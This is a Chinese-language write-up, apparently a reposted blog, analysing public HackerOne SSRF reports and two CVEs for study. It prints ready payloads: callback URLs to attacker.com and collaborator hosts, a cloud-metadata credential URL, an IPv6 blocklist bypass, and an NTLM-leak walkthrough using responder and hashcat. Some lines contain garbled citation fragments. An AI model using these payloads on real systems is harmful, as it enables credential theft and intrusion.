SSRF漏洞公开报告分析

文章目录

      • 1. SSRF | 获取元数据 | 账户接管
      • 2. AppStore | 版本上传表单 | Blind SSRF
      • 3. HOST SSRF
        • 一、为什么HOST修改不会影响正常访问
        • 二、案例
      • 4. Turbonomic 的 终端节点 | SSRF 获取元密钥
        • 一、介绍
        • 二、漏洞分析
      • 5. POST | Blind SSRF
      • 6. CVE-2024-40898利用 | SSRF + 泄露 NTLM
        • 一、CVE介绍
        • 二、复现
        • 2. 破解哈希
      • 7. POST | SSRF
        • Twilio Webhook 功能背景:
        • 2. 漏洞触发点
      • 8. CVE-2024-24806 | NodeJS | SSRF
        • 🧨 漏洞编号:
        • 🛠️ 漏洞成因:
      • 9. IPv6绕过 IP黑名单
        • 1. IPv6 映射地址解析缺陷
        • 2. 漏洞触发逻辑
        • 3. 漏洞利用条件
      • 10. GET | SSRF
        • 🔁 复现步骤(Steps To Reproduce)
      • 11. 邮件应用程序中的盲SSRF
        • 漏洞复现与验证:

1. SSRF | 获取元数据 | 账户接管

Autodesk | Report #3024673 - SSRF in Autodesk Rendering leading to account takeover | HackerOne

2. AppStore | 版本上传表单 | Blind SSRF

Nextcloud | Report #2925666 - Blind SSRF Vulnerability in Appstore Release Upload Form | HackerOne

  • 攻击者提交以下恶意 URL,探测服务器是否访问了指定地址:

    icon_url=http://attacker.com/log?payload=test
    

    通过检查 attacker.com 的访问日志,若发现来自 AppStore 服务器的请求,则确认漏洞存在。

  • 进一步利用:

    icon_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取云服务器临时凭证
    

3. HOST SSRF

IBM | Report #2696271 - SSRF via host header let access localhost via https://go.dialexa.com | HackerOne

一、为什么HOST修改不会影响正常访问

✅ 实际请求是由目标服务器发出的,它会根据 URL 的主机名去解析 IP 并建立连接。

请求流程通常是这样的:

目标服务发出 HTTP 请求 -> 解析 URL 中的主机名 -> 建立 TCP 连接 -> 发送 HTTP 请求(包含 Host)

举例:

http复制编辑POST https://eva2.csdn.net/v3/xxx HTTP/1.1
Host: 127.0.0.1

此时:

  • TCP 连接建立在 eva2.csdn.net 这个域名解析出来的 IP 上
  • HTTP 请求头里的 Host 不影响实际连接目标
二、案例

攻击姿势
篡改 Host 标头,诱导服务器向该地址发起内部请求。
示例请求

GET /api/health HTTP/1.1
Host: 127.0.0.1:8080  # 篡改后的目标

攻击逻辑

  • 服务器代码使用 Host 标头动态生成内部请求:

    internal_url = f"http://{request.headers['Host']}/admin"
    requests.get(internal_url)  # 实际访问 http://127.0.0.1:8080/admin
    
  • 请求仍发送到 victim.com 的公网 IP,但服务器自身会代理访问 127.0.0.1

生效条件

  • 应用程序逻辑依赖 Host 标头构造请求地址。
  • 服务器可访问本地或内网服务(如本地数据库、管理接口)。

4. Turbonomic 的 终端节点 | SSRF 获取元密钥

IBM | Report #2697592 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

IBM | Report #2697601 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

一、介绍

Turbonomic 是一款用于混合云环境的资源优化与管理平台,其核心功能包括自动化资源分配、性能监控和成本优化。由于需要深度集成云服务、虚拟化平台及物理基础设施,Turbonomic 通常拥有高权限访问各类 API 和内部系统。
终端节点(Endpoint) 是 Turbonomic 对外提供 API 或管理接口的入口,若存在安全缺陷,可能成为攻击者渗透的突破口。

二、漏洞分析
  • 触发点
    Turbonomic 的某个 API 终端节点接受用户可控的 URL 参数,用于请求外部资源(如获取监控数据、集成第三方服务)。
    示例请求

    POST /api/v3/fetch-resource HTTP/1.1
    Host: turbonomic.example.com
    ...
    {"resource_url": "http://user-provided-url.com/data"
    }
    
  • 漏洞逻辑
    若后端未对 resource_url 进行合法性校验,攻击者可构造恶意 URL(如内网地址、云元数据接口),诱导 Turbonomic 服务器发起内部请求。

5. POST | Blind SSRF

Acronis | Report #1086206 - Blind SSRF vulnerability on cz.acronis.com | HackerOne

漏洞复现步骤(PoC)

  1. 发送以下 POST 请求,在 address 参数中注入恶意 URL:

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: cz.acronis.com
    ...
    address=http://jczo3ewu8jpfgyiajmkacspsnjtbh0.burpcollaborator.net/ssrf
    
  2. 服务器响应 200 OK,并触发对 Burp Collaborator回调请求(来源 IP:109.123.216.85)。

漏洞影响

  • 允许未认证攻击者诱导 WordPress 向任意地址(包括内网服务)发起 HTTP 请求。
  • 可进一步用于 内部网络探测敏感数据泄露网络放大攻击

6. CVE-2024-40898利用 | SSRF + 泄露 NTLM

Internet Bug Bounty | Report #2612028 - important: Apache HTTP Server: SSRF with mod_rewrite in server/vhost context on Windows (CVE-2024-40898) | HackerOne

一、CVE介绍

漏洞编号:CVE-2024-40898

影响组件:Apache HTTP Server(Windows 平台)tenablecloud.cn+7hkcert.org+7腾讯云 - 产业智变 云启未来+7

影响版本:2.4.0 至 2.4.61httpd.apache.org+2GitHub+2hkcert.org+2

漏洞类型:服务器端请求伪造(SSRF)hkcert.org+4阿里云漏洞库+4腾讯云 - 产业智变 云启未来+4

CVSS v3 分数:7.5(高危)

修复版本:2.4.62腾讯云 - 产业智变 云启未来+6tenablecloud.cn+6NVD+6

二、复现
  1. 搭建恶意 SMB 服务器
    使用 ResponderImpacket 监听 SMB 流量:

    responder -I eth0 -wrf
    
  2. 触发 SSRF
    发送构造的请求至漏洞 URL:

    GET /redirect?path=\\attacker-ip\share HTTP/1.1
    Host: victim.com
    
  3. 捕获哈希
    Responder 将捕获服务器的 NetNTLMv2 哈希,保存为 hash.txt

2. 破解哈希

使用 Hashcat 进行离线破解:

hashcat -m 5600 hash.txt /path/to/wordlist.txt

7. POST | SSRF

Rocket.Chat | Report #1886954 - Unauthenticated full-read SSRF via Twilio integration | HackerOne

Twilio Webhook 功能背景:
  • Twilio 集成
    Rocket.Chat 支持通过 Twilio 接收短信或语音通话通知。当 Twilio 接收到外部事件(如用户回复短信)时,会通过 Webhook 回调 将数据发送到 Rocket.Chat 的指定端点(如 /services/voip/events)。
  • 参数处理
    Webhook 端点可能解析 Twilio 请求中的参数(如 CallerFromRecordingUrl),并基于这些参数发起后续操作(如下载录音文件)。
2. 漏洞触发点
  • 未过滤的 URL 参数
    若 Rocket.Chat 在处理 Twilio 回调时,直接使用用户可控的 URL 参数(如 RecordingUrl)发起 HTTP 请求,且未校验目标地址的合法性,攻击者可注入恶意 URL。
    示例请求

    POST /services/voip/events HTTP/1.1
    Host: rocket.chat.example.com
    ...
    {"CallSid": "CAXXXXX","RecordingUrl": "http://169.254.169.254/latest/meta-data"  // 恶意注入
    }
    
  • 代码逻辑缺陷
    漏洞版本的 Rocket.Chat 可能直接调用类似 HTTP.get(RecordingUrl) 的代码,未限制目标地址范围。

8. CVE-2024-24806 | NodeJS | SSRF

🧨 漏洞编号:
  • CVE:CVE-2024-24806
  • 影响组件libuv(Node.js 使用的底层异步 I/O 库)
  • 影响范围:所有 Node.js >= v10 的版本(只要依赖 libuv)
🛠️ 漏洞成因:
js复制编辑// 开发者检查是否包含内部网地址
const url = req.query.url;
if (url.includes('127.0.0.1') || url.includes('localhost')) {return res.status(403).send('Blocked');
}http.get(url); // ⚠️ 直接使用,易受攻击

攻击者输入:

http://aaaaaaaaaaa...aaa0x7f000001

由于字符串太长,开发者的检查逻辑不会发现结尾是 0x7f000001,但 libuv 在调用 getaddrinfo() 前会截断为:

复制编辑
0x7f000001

而这个实际上等价于:

复制编辑
127.0.0.1

最终 SSRF 成功!

9. IPv6绕过 IP黑名单

HackerOne | Report #2301565 - Server Side Request Forgery (SSRF) in webhook functionality | HackerOne

1. IPv6 映射地址解析缺陷
  • IPv4-mapped IPv6 格式
    根据 RFC 4291,IPv4 地址可嵌入 IPv6 地址中,格式为 ::ffff:<IPv4>(如 ::ffff:127.0.0.1)。
  • 压缩表示
    IPv6 地址允许省略前导零,例如 ::ffff:a9fe:a9fe 等价于 ::ffff:169.254.169.254(AWS 元数据服务 IP)。
2. 漏洞触发逻辑
  • 攻击载荷构造
    攻击者在 Webhook 的 URL 参数中使用压缩的 IPv6 映射地址,绕过对 169.254.169.254 的黑名单过滤。
    示例

    header("Location: http://[::ffff:a9fe:a9fe]");  // 实际指向 169.254.169.254
    
  • 服务器行为
    应用程序解析 URL 时未规范化 IPv6 地址,直接发起请求,导致访问内部服务。

3. 漏洞利用条件
  • 输入控制
    Webhook 功能允许用户指定任意 URL。
  • 缺乏规范化校验
    未对 IPv6 地址进行展开和标准化处理,且黑名单仅覆盖 IPv4 格式。
  • 服务器出站权限
    服务器可访问内部网络或云元数据接口。

10. GET | SSRF

inDrive | Report #2300358 - SSRF in https://couriers.indrive.com/api/file-storage | HackerOne

🔁 复现步骤(Steps To Reproduce)

以 Burp Collaborator 为例展示漏洞触发过程:

  1. 发起如下请求(将 url 参数替换为你自己的 OAST 域名):

    GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com
    
  2. 查看响应内容 & Burp Collaborator 的日志,发现目标服务器发出了对你提供域名的请求,说明 SSRF 成立。

11. 邮件应用程序中的盲SSRF

Nextcloud | Report #1869714 - Blind SSRF in Mail App | HackerOne

漏洞复现与验证:
  1. 搭建监听服务
    使用 Burp CollaboratorInteractsh 生成唯一域名(如 ssrf-test.attacker.com)。

  2. 构造恶意邮件
    在邮件正文或附件中插入监听 URL:

    <img src="http://ssrf-test.attacker.com">
    
  3. 发送邮件并监控
    观察监听服务是否收到来自邮件服务器的 HTTP/DNS 请求。
    😕/hackerone.com/reports/1869714)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/900991.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

告别 ifconfig:为什么现代 Linux 系统推荐使用 ip 命令

告别 ifconfig&#xff1a;为什么现代 Linux 系统推荐使用 ip 命令 ifconfig 指令已经被视为过时的工具&#xff0c;不再是查看和配置网络接口的推荐方式。 与 netstat 被 ss 替代类似。 本文简要介绍 ip addr 命令的使用 简介ip ifconfig 属于 net-tools 包&#xff0c;这个…

VLC快速制作rtsp流媒体服务器

1.安装vlc media player工具 2.打开后点击菜单 媒体->流 3.添加mp4视频&#xff0c;选择串流 4.选择 下一个 5.新目标选择 RTSP&#xff0c;点击添加按钮 6.端口和路径随便填写&#xff0c;如果推流失败就换个端口。一路操作下去 7.点击 流 按钮后&#xff0c;就可以看到下图…

基于 JavaWeb 的 SSM 在线视频教育系统设计和实现(源码+文档+部署讲解)

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论文…

RK3568 基于Gstreamer的多媒体调试记录

文章目录 1、环境介绍2、概念理清3、提前准备4、GStreamer编译5、GStreamer基础介绍6、视频播放初体验7、视频硬编码7.1、h2647.2、h265 8、视频硬解码8.1、解码视频并播放解码视频并播放带音频 1、环境介绍 硬件&#xff1a;飞凌ok3568-c开发板 软件&#xff1a;原厂rk356x …

Mac学习使用全借鉴模式

Reference https://zhuanlan.zhihu.com/p/923417581.快捷键 macOS 的快捷键组合很多&#xff0c;相应的修饰键就多达 6 个&#xff08;Windows 系统级就 4 个&#xff09;&#xff1a; Command ⌘ Shift ⇧ Option ⌥ Control ⌃ Caps Lock ⇪ Fn 全屏/退出全屏 command con…

SpringBoot多线程,保证各个子线程和主线程事物一致性

SpringBoot多线程&#xff0c;保证各个子线程和主线程事物一致性 1、第一种写法1.1、TransactionalUntil工具类1.2、service业务类 2、第二种写法2.1、service业务类 1、第一种写法 1.1、TransactionalUntil工具类 import org.springframework.jdbc.datasource.DataSourceTra…

高并发的业务场景下,如何防止数据库事务死锁

一、 一致的锁定顺序 定义: 死锁的常见原因之一是不同的事务以不同的顺序获取锁。当多个事务获取了不同资源的锁,并且这些资源之间发生了互相依赖,就会形成死锁。 解决方法: 确保所有的事务在获取多个锁时,按照相同的顺序请求锁。例如,如果事务A需要锁定表A和表B,事务…

【从0到1学MybatisPlus】MybatisPlus入门

Mybatis-Plus 使用场景 大家在日常开发中应该能发现&#xff0c;单表的CRUD功能代码重复度很高&#xff0c;也没有什么难度。而这部分代码量往往比较大&#xff0c;开发起来比较费时。 因此&#xff0c;目前企业中都会使用一些组件来简化或省略单表的CRUD开发工作。目前在国…

力扣HOT100之链表: 148. 排序链表

这道题直接用蠢办法来做的&#xff0c;直接先遍历一遍链表&#xff0c;用一个哈希表统计每个值出现的次数&#xff0c;由于std::map<int, int>会根据键进行升序排序&#xff0c;因此我们将节点的值作为键&#xff0c;其在整个链表中的出现次数作为值&#xff0c;当所有元…

Transformer多卡训练初始化分布式环境:(backend=‘nccl‘)

Transformer多卡训练初始化分布式环境:(backend=‘nccl’) dist.init_process_group(backend=nccl)在多卡环境下初始化分布式训练环境,并为每个进程分配对应的 GPU 设备。下面为你逐行解释代码的含义: 1. 初始化分布式进程组 try:dist.init_process_group(backend=nccl) e…

使用Mybatis时在XML中SQL高亮显示的方法

如图所示&#xff0c;上方的SQL代码很像是一个字符串&#xff0c;那么如何把上方的SQL改成和下方一样的SQL,使得IDEA可以识别SQL方言呢&#xff1f; 1.选中SQL中的一部分代码&#xff0c;此时左侧会出现一个黄色的灯泡图案&#xff0c;点击2.选择这个注入语言或者引用

Spring Boot MongoDB自定义连接池配置

手打不易&#xff0c;如果转摘&#xff0c;请注明出处&#xff01; 注明原文&#xff1a;http://zhangxiaofan.blog.csdn.net/article/details/144341407 一、引言 在 Spring Boot 应用中使用 MongoDB 时&#xff0c;合理配置连接池可以显著提升数据库访问的性能和稳定性。默…

Tabnet介绍(Decision Manifolds)和PyTorch TabNet之TabNetRegressor

Tabnet介绍&#xff08;Decision Manifolds&#xff09;和PyTorch TabNet之TabNetRegressor Decision ManifoldsTabNet1.核心思想2. 架构组成3. 工作流程4. 优点 PyTorch TabNetTabNetRegressor参数1. 模型相关参数n_dn_an_stepsgammacat_idxscat_dimscat_emb_dim 2. 训练相关参…

图像变换方式区别对比(Opencv)

1. 变换示例 import cv2 import matplotlib.pyplot as plotimg cv2.imread(url) img_cut img[100:200, 200:300] img_rsize cv2.resize(img, (50, 50)) (hight,width) img.shape[:2] rotate_matrix cv2.getRotationMatrix2D((hight//2, width//2), 50, 1) img_wa cv2.wa…

Navicat分组、查询分享

1、分组 有些项目业务表比较多&#xff0c;多达几百张&#xff0c;如果通过人眼看&#xff0c;很容易头晕。这时候可以通过Navicat表分组来进行分类。 使用场景 按版本分组按业务功能分组 创建分组 示例&#xff1a;按版本分组&#xff0c;可以将1.0版本的表放到1.0中。 分组…

大模型在初治CLL成人患者诊疗全流程风险预测与方案制定中的应用研究

目录 一、绪论 1.1 研究背景与意义 1.2 国内外研究现状 1.3 研究目的与内容 二、大模型技术与慢性淋巴细胞白血病相关知识 2.1 大模型技术原理与特点 2.2 慢性淋巴细胞白血病的病理生理与诊疗现状 三、术前风险预测与手术方案制定 3.1 术前数据收集与预处理 3.2 大模…

for循环的优化方式、循环的种类、使用及平替方案。

本篇文章主要围绕for循环,来讲解循环处理数据中常见的六种方式及其特点,性能。通过本篇文章你可以快速了解循环的概念,以及循环在实际使用过程中的调优方案。 作者:任聪聪 日期:2025年4月11日 一、循环的种类 1.1 默认有以下类型 原始 for 循环 for(i = 0;i<10;i++){…

穿透三层内网VPC1

网络拓扑: 打开入口web服务 信息收集发现漏洞CVE-2024-4577 PHP CGI Windows平台远程代码执行漏洞&#xff08;CVE-2024-4577&#xff09;复现_cve-2024-4577漏洞复现-CSDN博客 利用POC&#xff1a; 执行成功&#xff0c;那么直接上传马子&#xff0c;注意&#xff0c;这里要…

【计算机网络】同步操作 vs 异步操作:核心区别与实战场景解析

&#x1f4cc; 引言 在网络通信和分布式系统中&#xff0c;**同步&#xff08;Synchronous&#xff09;和异步&#xff08;Asynchronous&#xff09;**是两种基础却易混淆的操作模式。本文将通过代码示例、生活类比和对比表格&#xff0c;帮你彻底理解它们的区别与应用场景。 1…

TensorFlow充分并行化使用CPU

关键字&#xff1a;TensorFlow 并行化、TensorFlow CPU多线程 场景&#xff1a;在没有GPU或者GPU性能一般、环境不可用的机器上&#xff0c;对于多核CPU&#xff0c;有时TensorFlow或上层的Keras默认并没有完全利用机器的计算能力&#xff08;CPU占用没有接近100%&#xff09;…